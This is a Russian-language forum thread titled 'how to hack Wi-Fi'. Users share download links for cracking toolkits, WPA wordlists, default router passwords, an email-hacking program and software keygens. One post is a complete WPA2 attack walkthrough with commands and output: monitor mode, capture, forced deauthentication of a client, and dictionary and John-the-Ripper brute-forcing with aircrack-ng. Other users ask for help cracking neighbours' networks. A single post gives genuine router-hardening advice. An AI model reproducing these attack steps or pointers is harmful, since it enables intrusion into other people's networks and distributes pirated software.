Как взломать ВайФай (Wi-Fi) сеть :-))

[itslai]

Цитата: Сообщение от jeka777 ну и каким софтом получить пасс к засекюреной сети? Aircrack-ng 0.9.3 win + CommView for Wi-Fi у меня не пашут. есть ли альтернатива? мои железки указаны выше.

Посставь backtrack специальный дистр для сетей, на базе Linux. Если разберешся будет тебе счастье. Но учти, backtrack на русском еще нет.

[kozel747]

вот программа для виндоу
MAC Address Changer
NetSetMan
CardCheck - это проверит вашу ви-фи карточку на наличие нужного драйвера
WirelessKeyView
WirelessNetView
wlandecrypter
wlanbuster
cowpatty и конечно полный набор aircrack-ng,commview так-же присутствует + ещё куча всяких полезностей,и всё под windows,но главное все в одном окне.оцените насколько удобно,и то что это намного функциональней чем любой другой софт для взлома ви-фи(я говорю о windows конечно,никсы конечно далеко впереди).Для запуска всего сразу в папке найдите синий значок erw кликнете по нему 2 раза и вперёд.дня через 2-3 напишу небольшой мануал(этого испанского рукоделья) по использованию когда сам немного разберусь а вообще пользуйте никсы для взломов
http://turbo.to/uud2hfufyma1.html

Вот инсрукция по взлому WPA http://turbo.to/vbtubyyq8y8a.html

вот словари WPA http://turbo.to/8divwri5ffbz.html

вот хэши для взлома linksys,Thomson http://turbo.to/w6ege1fo003i.html

вот словарь из цифр от 0-9 у кого пароль дата рождения типа 15101997 то она там есть распаковывайте архив 7zip. http://turbo.to/b4ulb0p9vssk.html

вот вам мой BackTrack4 на новом ядре kernel 2.6.34-rc6 поддерживает намного больше железа(аудио,видео,wifi карты и т.д.)кроме того руссифицирован. Установлены обновления по 12.05.2010.Установлен пользовательский доп.софт (мультимедиа,графика,фото).
часть1 http://turbo.to/0cqwm2tq6g82.html
часть2 http://turbo.to/kc7hx8dxzplk.html
все вопросы по установке и как и что ломать с помощью этого диска(wi-fi,web-сайты,пароли к rar и zip архивам,роутеры и т.д)задавайте здесь.

так вот вам http://turbo.to/rwv60wygmyuh.html airodump-ng под Windows распакуете архив . откройте папку aircrack-ng-1.1-win в ней откройте папку bin и там ищите Airodump-ng-win-native-drivers запускайте от имени
администратора.Хотя ломать сеть из под Windows очень нудно и муторно.Лучше последуйте моему мануалу http://turbo.to/rsg4k4bd39hq.html через недельку тренировки 10 минут и сеть взломана.всё на русском и с картинками

вот пароли на роутеры и модемы по умолчанию + список wi-fiкарт работающих под windows если вашей карты там нет то и не стоит пыжиться взломать сеть + програмка для взлома почты(с описанием что и как).
http://turbo.to/x8ohah6r036d.html

вот мой диск на депозите (русифицирован, поддерживает почти все вай-фай карты в том числе broabband)

http://depositfiles.com/files/zzdqriotx my backtrack4-.part01.rar 100.0 Mb
http://depositfiles.com/files/1v0oubhp7 my backtrack4-.part02.rar 100.0 Mb
http://depositfiles.com/files/wu092r1qm my backtrack4-.part03.rar 100.0 Mb
http://depositfiles.com/files/41uejbg2k my backtrack4-.part04.rar 100.0 Mb
http://depositfiles.com/files/kiv3m4mtx my backtrack4-.part05.rar 100.0 Mb
http://depositfiles.com/files/ihbio09e9 my backtrack4-.part06.rar 100.0 Mb
http://depositfiles.com/files/lq4gjexmc my backtrack4-.part07.rar 100.0 Mb
http://depositfiles.com/files/jl3gb1uz6 my backtrack4-.part08.rar 100.0 Mb
http://depositfiles.com/files/pv6w5amvp my backtrack4-.part09.rar 100.0 Mb
http://depositfiles.com/files/z1bk8v437 my backtrack4-.part10.rar 100.0 Mb
http://depositfiles.com/files/eozmn04dv my backtrack4-.part11.rar 100.0 Mb
http://depositfiles.com/files/rvl9y7egw my backtrack4-.part12.rar 100.0 Mb
http://depositfiles.com/files/v9reya52i my backtrack4-.part13.rar 100.0 Mb
http://depositfiles.com/files/okzhepzk3 my backtrack4-.part14.rar 100.0 Mb
http://depositfiles.com/files/jxlreqpbt my backtrack4-.part15.rar 100.0 Mb
http://depositfiles.com/files/w90pcrvje my backtrack4-.part16.rar 100.0 Mb
http://depositfiles.com/files/cmz45y712 my backtrack4-.part17.rar 100.0 Mb
http://depositfiles.com/files/u50w3x5rx my backtrack4-.part18.rar 100.0 Mb
http://depositfiles.com/files/u7nknwxn8 my backtrack4-.part19.rar 100.0 Mb
http://depositfiles.com/files/3eosdnb4z my backtrack4-.part20.rar 100.0 Mb
http://depositfiles.com/files/f12re1mum my backtrack4-.part21.rar 95.2 Mb

вот ещё сниферы под виндоуз и видео как снифать инфу с точек доступа ещё инструкции

как обходить защиту точек и как генерировать хэши для взлома WPA с помощью airolib-ng

http://turbo.to/i56p24cgimiq.html

вот програмка для создания словарей самому + програмка для снифа паролей

http://turbo.to/coo6yrgbfwoa.html

[kozel747]

перезалито , ссылки быстро удаляют почемуто


вот пароли на роутеры и модемы по умолчанию + список wi-fiкарт работающих под windows если вашей карты там нет то и не стоит пыжиться взломать сеть + програмка для взлома почты(с описанием что и как). http://turbo.to/fb9ex7ipvgin.html


Вот инсрукция по взлому WPA на русском с картинками. http://turbo.to/9p0z7qbqrfmg.html



вот словарь из цифр у кого пароль дата рождения то она там есть распаковывайте архив 7zip.http://turbo.to/0ua50a6juoyp.html

вот словари WPA http://turbo.to/2pfa5dwycqnz.html

вот хэши для взлома linksys,Thomson http://turbo.to/d1qut655vtnk.html


вот видео как снифать трафик с помощью wireshark и расшифровывать с airdecap-ng
и как работать c cowpatty для взлома WPA. http://turbo.to/itvzs6ar40lu.html

вот сниферы под виндоуз очень нужная вещь для взлома. http://turbo.to/wtve757r16e3.html


вот ещё програмка для мониторинга сетей XirrusWiFiInspector http://turbo.to/rag61ihlvctf.html


вот програмки для создания словарей и rainbow tab. http://turbo.to/hxnh3v3b3h7m.html

[kozel747]

вот большой словарь для взлома WPA. рапаковывайте 7zip.часть1. http://turbo.to/wuo3u8q91nbv.html

часть2. http://turbo.to/hwhvmxft2sld.html

[LegoLexxs]

kozel747, спасибо за полный комплект,
но большинство файлов удалены.
А багтрак гигабайтный сложно скачать с турбобита.
Можно все пакеты в торренте раздать???

Кто поможет из знающих мне подобрать нужный софт???
Все программы, которые скачивал, отказываются работать с моей картой.
Данные карты Realtek RTL8185 54M Wireless LAN Network Adapter.
Может кто знает, какой софт будет читать пакеты,
или точнее, какие драйвера подойдут для моей сетевухи вирелесс,
чтоб перехватывать пакеты.
Хочу проверить свою сеть на уязвимость...

Здесь кто нибудь бывает???

В общем ещё вопрос.
Ловится открытая сеть, инфраструктура, значит с точкой доступа.
Но при попытке законектиться к ней, ничего не выходит.
Что можно сделать, чтоб узнать дополнительные параметры.?.
Наверное точка доступа не совпадает и маска подсети.
Чем можно просканить???

[Lady]

Цитата: Сообщение от LegoLexxs Чем можно просканить?

например, NetStumbler-ом. А вообще-то активнее поиск пользуйте и не провоцируйте форумчан по сто раз жевать одну и ту же булочку.

[LegoLexxs]

Цитата: Сообщение от Lady например, NetStumbler-ом. А вообще-то активнее поиск пользуйте и не провоцируйте форумчан по сто раз жевать одну и ту же булочку.

Ну нет уважаемый, поиск весь перерыл,
он то как раз и ничего толкового не дал.
Куча разного мусора, из которого вытащил немного информации.
Благо есть форум, где как в последней инстанции можно уже задать вопрос о наболевшем.

Спасибо за подсказку про нет стумблер,
я им как то пользовал, но он у меня почему то ничего не перехватывал.
Всё таки наверное моей карте приговор.
Спец драйвера на неё не идут...
Была последняя надежда ... Эххх...

кстати.
Дополнение.
Открытая сеть, которая определяется, но не коннектится,
иногда само по себе происходит соединение, НО....
Смотрю свойства, есть принятые пакеты, но нет ни одного переданного.
И все свойства сети становятся недоступными.
После чего потерялись права администратора на компе.
Исправил.
Включил брандмаузер. Но не уверен в его надёжности.
Воэможно это атака???

[Lady]

Цитата: Сообщение от LegoLexxs Ну нет уважаемый, поиск весь перерыл, он то как раз и ничего толкового не дал.

Если бы Вы утрудили себя поиском, то несомненно выудили бы слово AirCrack, и сопутствющие ему обсуждения. Где, в частности, разговаривают и о чипсетах беспроводных карт. Почитав "за реалтек", Вы бы либо отправились в магазин за другой железкой, либо выкинули из головы эту никчёмную идею о взломе чужих сеток. Реалтек штатно-то работать нормально не может, проверено.

[LegoLexxs]

Вообще то карта шла как Акорп , с чипсетом азерос.
Но драйвера на неё только реалтековские пошли.
Тему про айкрак читал, и не на одном десятке форумов.
Версий айкрака тоже много.
Смутило то, что чипсет типа азерос, айкрак с ним работает,
но почему идёт только реалтек..ХЗ.
Нет стумблер читает , но не показывает АйПи адреса.
И ещё десяток прог, много чего показывают,
но не перехватывают пакеты и не выводят айпишник точки.
Просто была надежда, что может ещё какие нибудь проги будут работать корректно с моей картой,
может и спец драйвера есть. Не только же айкрак и комон виев вайфай есть.
Просто на всех сайтах только про них и говорят. Копируя один другого.

Добавлено через 2 часа 34 минуты
Спасибо за помощь.
Нашёл дравера всё таки .
Совет к тем, у кого могут быть похожие проблемы.
Вручную ставить драйвера, выбирать в списке иные от реалтек.

[no_n@me]

Давненько здесь не бывал...
Вот что други мои расскажу я Вам, возможно это упростит Ваши проблемы:
- многие беспроводные маршрутизаторы построеные по принципу авто-настройки на канал вещания, не забывайте об этом... т.е зафиксируйте канал вещания - он есть в настойках, зависит от модели и производителя так что конкретно где искать не укажу, надо смотреть ситуацию конкретно. Это касательно обрыва передачи данных, уменьшения скорости передачи, в общем всего того что повреждает бесперебойную связь, т.к. пользователей wi-fi сетей становится больше, то и каналы соответственно используются хаотично, я Вам предлагаю зафиксировать свой канал передачи данных.
- Обновите прошивку своего девайса, но при этом не забывайте сделать резервную копию настроек и предыдущей прошивки. Данное правило не является аксиомой, т.к. ПО может и не отвечать Вашим требованиям. Допустим частный случай из моей практики - пользую RT-N16 от ASUS, так вот данный девайс имеет невероятное количество прошивок как от производителя, так и от альтернативщиков, но ... важно решить что Вам нужно: каждая прошивка имеет свои плюсы и минусы, не забывайте читать информацию о прошивке. В моем случае - "альтернативщики" не прошли по причине отсутствия необходимых функций, а тот расширенный список возможностей, что предлагается с такими прошивками мне собственно не нужен. "Заводская" прошивка - да, но не последняя, т.к. исправляет ошибки предыдущей, но именно wi-fi сетка не работает стабильно. Так что ищите компромисс самостоятельно.
- Про безопасность: не забывайте скрывать свои wi-fi маршрутизаторы - это позволит Вам избежать лишних хлопот по безопасности. Как это сделать (в девайсах старших версий возможно такого и нет): програмно, в настройках есть пунктик скрыть SSID (точно не помню, но похоже так), только сами не забудьте все параметры настройки - иначе Вам потребуется обнулять свой девайс.
- Собственно забрёл на ветку в поисках своей же информации, а именно софтинки wirelesskeyview, кстати она обновилась (напомню, что она бесплатна и служит для восстановления паролей wi-fi в локальной машине), как пользоваться - устанавливаете, сканируете, получаете HEX-ключ, копируете его (допустим в файлик блокнота), при подключении новой машины к сетке просто вставляете данные из ранее созданного файлика - это и есть пароль доступа к сетке wi-fi...
- Взлом сети wi-fi - честно говоря при грамотно построенной сети это затея бесполезная, максимум что получите - это гостевой режим, т.е. вроде бы как коннект есть и ... всё. При настройках локальных сетей использую отличные параметры от стандартных,т.е меняю маску сети(стандартно 255.255.255.0 смените на 255.0.0.255 или как-то ещё), диапазон ip-адресов (стандартно 192.168.1.1 - 192.168.1.254, попробуйте сменить на 10.10.10.1-10.10.10.254), главное не увлекайтесь "расширенным" диапазоном ip-адресов, сколько девайсов к сетке подключено, столько ip-адресов выделяйте, скрывайте сетку (указывал как - выше), фиксируйте подключенные девайсы по MAC-адресам, обязательно смените заводской адрес wi-fi маршрутизатора, исключите возможность подключения гостевого режима к маршрутизатору и/или ротации пароля (только в случаях если знаете что делаете - то делайте это) - это минимум того что Вы можете сделать, дабы обезопасить себя от взлома wi-fi-сети. ГЛАВНОЕ: если на какой-нибудь локальной машине присутствует вирусное ПО, то все усилия по защите wi-fi сети Вы сводите на "НЕТ" - объяснять не надо почему... надеюсь...

[no_n@me]

Цитата: Сообщение от cyb3rsn4il Данный набор совместим с интеловскими чипсетами?

Честно говоря ... не всегда, вообще специфические девайсы требуются...
Ну а сейчас о главном: о защите wi-fi сети
Безопасность беспроводных сетей

Представлен подробный анализ причин возникновения уязвимостей и типичных ошибок, допускаемых при развертывании беспроводных сетей. Описываются этапы построения защищенной беспроводной сети - от создания политики безопасности до настройки систем обнаружения беспроводных атак и проведения тестов на проникновения


Рассматриваются современные средства и технологии защиты, такие как 802.1Х, PEAP, SSL, IPSec, WPA и 802.11. Отдельный раздел посвящен защите мобильных устройств на основе ОС Windows Mobile.
Рассматривается реализованная в Windows Mobile модель безопасности, а также приводятся рекомендации по использованию встроенных защитных механизмов для безопасного доступа к корпоративным ресурсам.
Для системных администраторов, инженеров, специалистов в области информационной безопасности.

Название: Безопасность беспроводных сетей
Автор: Гордейчик С.В., Дубровин В.В.
Издательство: Горячая линия - Телеком
Год: 2008
Формат: rar/djvu
Размер: 5,7 Мб
скачать
http://www.2baksa.net/news/59746/

[kozel747]

кому напряжно пользоваться программами для взлома АП купитеhttp://www.wifirobin.com/free-network правда ломает только wep зато никаких заморочек никаких программ утанавливать не нужно(купил ,опробовал,всё работает как и утверждают проиводители)но мне интереснее самому.кто купит спрашивайте что и как ,сейчас сижу курочу эту штуку может что-то ещё вытащу.

вот вам live-cd всего 45мб всё что нужно для взлома wi-fi никаких команд вводить не нужно,щёлкайте мышкой где нужно и всё, в архиве видео как им пользоваться.
Commview рядом не стоял по сравнению с этим , поверьте.запишите образ на болванку или запускайте с VMware как я. http://turbo.to/quet9unne87z.html да кто хочет VMware скачайте с оф.сайта а здесь кейген http://turbo.to/mzlyk75d1dfe.html


Взлом WPA

Я буду использовать Dlink DWL-G122 (USB), беспроводной сетевой интерфейс для этой процедуры. В backtrack4, это устройство признано wlan0.

Во-первых, поставить карту в режиме мониторинга:

.................................................. .............

root@bt:~# airmon-ng

Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
ath1 Atheros madwifi-ng VAP (parent: wifi0)
wlan0 Ralink 2573 USB rt73usb - [phy0]

.................................................. .............
root@bt:~# airmon-ng start wlan0

Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
ath1 Atheros madwifi-ng VAP (parent: wifi0)
wlan0 Ralink 2573 USB rt73usb - [phy0]
(monitor mode enabled on mon0)
.................................................. ..............

Хорошо, теперь мы можем использовать интерфейс mon0

Давайте найдём беспроводную сеть, которая использует WPA2 / PSK

.................................................. ...............

root@bt:~# airodump-ng mon0

CH 6 ][ Elapsed: 4 s ][ 2009-02-21 12:57

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:19:5B:52:AD:F7 -33 5 0 0 10 54 WPA2 CCMP PSK TestNet

BSSID STATION PWR Rate Lost Packets Probe

00:19:5B:52:AD:F7 00:1C:BF:90:5B:A3 -29 0- 1 12 4 TestNet

.................................................. ...................

Остановим airodump-ng (ctrl+c) и запустим его снова,что-бы записать все пакеты на диск

.................................................. ...................

airodump-ng mon0 --channel 10 --bssid 00:19:5B:52:AD:F7 -w /tmp/wpa2

.................................................. ......................


На данный момент, у вас есть 2 варианта: либо ждать, пока клиент подключится и 4-handshake будет полным, или deauthenticate существующих клиентов и таким образом заставить AP reassociate. Время-деньги, так что давайте заставим силой deauthenticate. Мы должны запустить aireplay-ng введя BSSID ЗС (-а) и МАС подключенного клиента (-с)

.................................................. .......................

root@bt:~# aireplay-ng -0 1 -a 00:19:5B:52:AD:F7 -c 00:1C:BF:90:5B:A3 mon0

13:04:19 Waiting for beacon frame (BSSID: 00:19:5B:52:AD:F7) on channel 10

13:04:20 Sending 64 directed DeAuth. STMAC: [00:1C:BF:90:5B:A3] [67|66 ACKs]

.................................................. ...........................

Как результат, airodump-ng укажeт "WPA Handshake:" в верхнем правом углу

.................................................. ............................

CH 10 ][ Elapsed: 2 mins ][ 2009-02-21 13:04 ][ WPA handshake: 00:19:5B:52:AD:F7

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:19:5B:52:AD:F7 -33 100 1338 99 0 10 54 WPA2 CCMP PSK TestNet

BSSID STATION PWR Rate Lost Packets Probe

00:19:5B:52:AD:F7 00:1C:BF:90:5B:A3 -27 54-54 0 230

.................................................. ..............................


Остановитe airodump-ng и убедитесь, что файлы были созданы правильно

.................................................. .............................

root@bt:/# ls /tmp/wpa2* -al

-rw-r--r-- 1 root root 35189 2009-02-21 13:04 /tmp/wpa2-01.cap

-rw-r--r-- 1 root root 476 2009-02-21 13:04 /tmp/wpa2-01.csv

-rw-r--r-- 1 root root 590 2009-02-21 13:04 /tmp/wpa2-01.kismet.csv

.................................................. ..............................

Есть 2 способа bruteforcing: один, который относительно быстр, но не гарантирует успеха и тот, который идет очень медленно, но гарантирует, что вы найдете ключ через определенный момент времени.

Первый вариант является использованием рабочего списка / dictionary file. Многие из этих файлов можно найти в Интернете, либо могут быть получены с помощью таких инструментов, как John the Ripper. Как только список слов будет создан, все что вам нужно сделать, это запустить Aircrack-ng подставив файл с Handshake и словарь word.txt

.................................................. ..............................

aircrack-ng –w /tmp/wordlists/word.lst -b 00:19:5B:52:AD:F7 /tmp/wpa2*.cap

--------------------------------------------------------------------------------

Второй метод (bruteforcing) будет успешным наверняка, но это может занять много времени , чтобы закончить. Имейте в виду, WPA2 ключ может быть до 64 символов, так что в теории что-бы построить все сочетания паролей со всеми возможными наборами символов и скормить их в Aircrack займёт много времени. Если вы хотите использовать John The Ripper для создания всех возможных комбинаций паролей и скормить их в Aircrack-NG, это команда для использования:

.................................................. ................................

root@bt:~# /pentest/password/jtr/john --stdout --incremental:all | aircrack-ng -b 00:19:5B:52:AD:F7 -w - /tmp/wpa2*.cap

.................................................. ...............................

каждый символ в ключе может иметь 26 +26 +10 (62) возможных комбинаций. Так максимальное число комбинаций, которое должно быть проверено в процессе перебора 62 * 62 * 62 * 62 * 62 * 62 * 62 * 62 = 218 340 105 584 896 около 600 ключей в секунду на моем "медленном" аппарате, может занять более 101083382 часов, чтобы найти ключ (11539 года). Так что думайте об этом, когда ломаете WPA


----------------------------------------------------------------------------------------------------------------

вот вам в помощь несколько словарей

ComboFile http://turbo.to/m15prul3v4vt.html

de-ice.net-1.110-1.0 http://turbo.to/8jsypdjdkctf.html

de-ice.net-1.100-1.1 http://turbo.to/ej38m25xhrmt.html

de-ice.net-2.100-1.1.part1 http://turbo.to/0g2yjp1y77df.html

de-ice.net-2.100-1.1.part2 http://turbo.to/7cbyz8sxarh7.html

роутеры и модемы Password List 2010-02-04 http://turbo.to/fomdazyfg5ou.html

theargonlistver1 http://turbo.to/kjf1h2eoyb46.html

webster-dictionary http://turbo.to/2xhh12xca0cy.html

wpalist http://turbo.to/700uk6nvpren.html



это вам поможет создать свой словарь

http://turbo.to/u890gj1hortg.html

http://turbo.to/ybuhr008jhtj.html

[kozel747]

запишите всё что делается на экране спомощью этой программы затем просмотрите где что не ясно сделайте скриншот и присылайте сюда вместо непонятных вопросов .Camtasia Studio 7.1.0 Build 1631 Russian ничего не вырезано, кроме справок и видеоурока программа активирована хорошо ужато FreeArc здесь http://turbo.to/03hx5x1jbe3w.html

[nkozik]

Здравствуйте! вопрос пойвился, все облазил, так и не смог найти ответа. Пытался взломать wifi wpa через bt4 очень быстро получил handshake и тут появилась самая большая проблема. пароль где то 12 символов буквы и цифры. скачал rainbow tables с торрентов но так и не понял что с ними делать, там 36 файлов, каждый вставлять в cowpatty?
помогите пожалуйста с советом что делать.

[ultramarin]

Посоветуйте снифер для WiFI (кроме CommView for WiFi).
Почему не CommView for WiFi - потому что моя карточка не поддерживает драйвера для него.
Пробовал aircrack-ng-0.9.3 но почему то не работает прога у меня... Не стал вникать и разбираться как ее запускать...